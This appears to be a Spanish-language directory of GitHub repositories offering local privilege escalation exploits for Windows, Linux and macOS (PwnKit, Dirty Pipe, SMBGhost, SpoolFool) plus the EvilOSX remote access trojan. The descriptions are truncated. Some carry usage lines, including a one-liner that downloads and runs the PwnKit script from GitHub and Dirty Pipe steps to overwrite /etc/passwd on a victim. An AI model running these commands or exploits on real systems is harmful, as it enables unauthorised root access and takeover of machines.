CVE-2021-40449

CVE-2021-40449 Mi exploit para CVE-2021-40449, un LPE de Windows mediante un UAF en win32kfull!GreResetDCInternal. writeup corto Además de la vulnerabilidad UAF, se utilizan otras primitivas para hacer posible este exploit: filtrar la dirección del access token del exploit en ring0 mediante la...

SpoolFool

SpoolFool Exploit para CVE-2022-21999 - Vulnerabilidad de Elevación de Privilegios del Print Spooler de Windows LPE Detalles El exploit proporcionado debería funcionar por defecto en todas las versiones de escritorio de Windows. Consulte la publicación del blog para obtener todos los detalles...

CVE-2021-21551

Explotación de CVE-2021-21551 para LPE creando una cmd de Sistema Probado en Windows 11 21H2 22000.1335...

PwnKit

PwnKit Exploit autónomo para CVE-2021-4034 - Escalada de privilegios local de Pkexec Uso Debería funcionar directamente en distribuciones Linux vulnerables basadas en Ubuntu, Debian, Fedora y CentOS. sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" Manualmente curl...

LPE---CVE-2020-0796

Uso: Asegúrese de que Python esté instalado y luego ejecute poc.py. Windows Kernel Write-What-Where CVE-2020-0796 Exploit Diseñado únicamente para fines educativos y de prueba en entornos corporativos. MasterSpl0it no se hace responsable del código, úselo bajo su propio riesgo. POC reescrito de...

ROOT-CVE-2021-3560

ROOT-CVE-2021-3560 Polkit 0.105-26 0.117-2 - Escalada de Privilegios Local...

EvilOSX

EvilOSX Un RAT malicioso Herramienta de Administración Remota para macOS / OS X. Generador de Macros por Cedric Owens Este proyecto ya no está activo Características Emular una instancia de terminal Sistema de módulos simple y extensible Sin dependencias de bot Python puro No detectado por...

CVE-2016-6914-UniFiVideo-LPE

CVE-2016-6914 - Ubiquiti UniFi Video 3.7.3 LPE PoC 🔥 Resumen Este repositorio contiene una prueba de concepto PoC para CVE-2016-6914 , una vulnerabilidad de Escalada de Privilegios Local LPE que afecta a Ubiquiti UniFi Video 3.7.3. Un atacante con privilegios bajos puede reemplazar un binario de...

SMBGhost-LPE-Metasploit-Module

SMBGhost-LPE-Metasploit-Module Esta es una implementación de la vulnerabilidad CVE-2020-0796, también conocida como SMBGhost, compatible con Metasploit Framework Notas: Este módulo está diseñado para usarse cuando tienes un shell válido para escalar privilegios. Puedes cambiar el payload, si dese...

CVE-2021-4034

CVE-2021-4034 Este es un PoC para PwnKit Vulnerabilidad de escalada local de privilegios que fue descubierta por Qualys Security Team. El equipo de investigación de Qualys ha descubierto una vulnerabilidad de corrupción de memoria en pkexec de polkit, un programa SUID-root que está instalado por...

CVE-2022-21882

CVE-2022-21882 bypass de LPE de win32k para CVE-2021-1732 solo probado en windows 20h2 19042.1415 https://twitter.com/kalendsi/status/1483770845138804738...

Mohnad-AL-saif-CVE-2020-11107-XAMPP-Local-Privilege-Escalation

🧨 CVE-2020-11107 – Escalada de Privilegios Local en XAMPP Windows 📌 Resumen CVE-2020-11107 es una vulnerabilidad de Escalada de Privilegios Local LPE que afecta a Apache Friends XAMPP en Windows. Un usuario sin privilegios puede modificar el archivo de configuración del Panel de Control de XAMPP...

vScalation-CVE-2021-22015

vScalation CVE-2021-22015 Escalada de Privilegios Local en VMWare vCenter El grupo de investigación de Pentera descubrió una vulnerabilidad en el programa vCenter Server de VMWare que afecta al software de VMWare instalado en 500,000 organizaciones en todo el mundo, responsables de gestionar sus...

CVE-2019-1064

CVE-2019-1064 - Escalada de Privilegios Local de AppXSVC https://www.rythmstick.net/posts/cve-2019-1064/...

CVE-2019-10149-Exim4-RCE

Cr.Exim 4.87 - 4.91 - Escalada de Privilegios Local Cr.Link: https://www.exploit-db.com/exploits/46996 1.Este método requiere que primero accedas a la máquina objetivo con privilegios de usuario estándar. 2.Una vez que hayas accedido a la máquina objetivo, crea un archivo de script con el siguien...

CVE-2021-4034

CVE-2021-4034 Escalación de privilegios local mediante pkexec Video de YouTube Mira el ✨ Video de YouTube Ejecutar localmente make all && ./pwnkit && make clean Ejecutar en Docker Build the docker image docker build -t pwnkit . Run the exploit docker run -it pwnkit bash make all && ./pwnkit && ma...

CVE-2025-6019

CVE-2025-6019 Prueba de Concepto PoC Este repositorio contiene un script de Prueba de Concepto PoC para CVE-2025-6019 , una vulnerabilidad de Escalada de Privilegios Local LPE en libblockdev y udisks. El script crea una imagen de sistema de archivos XFS con un binario SUID bash y explota la...

Citrix_Secure_Access_LPE_0DAY

Escalada de privilegios local en Citric Secure Access He descubierto una vulnerabilidad de escalada de privilegios local en el cliente de Windows de Citrix Secure Access. Esta vulnerabilidad permite que un administrador privilegiado inyecte una carga útil maliciosa para obtener privilegios de NT...

Dirty-Pipe-Oneshot

Dirty-Pipe-Oneshot Versión compilada de CVE-2022-0847, también conocido como Dirty Pipe. Solo un disparo para rootearlos a todos :D solo compila el archivo cve-2022-0847.c gcc cve-2022-0847.c -o getroot luego ejecútalo en la víctima y obtén root :D ./getroot /etc/passwd 1 ootz: Feliz Rooting 🎭...

CVE-2021-1732

CVE-2021-1732 CVE-­2021­-1732 Investigación de escalada de privilegios local de Microsoft Windows 10 y desarrollo de PoC/Exploit Sistemas afectados y versiones Windows Server, version 20H2 Server Core Installation Windows 10 Version 20H2 for ARM64­based Systems Windows 10 Version 20H2 for 32­bit...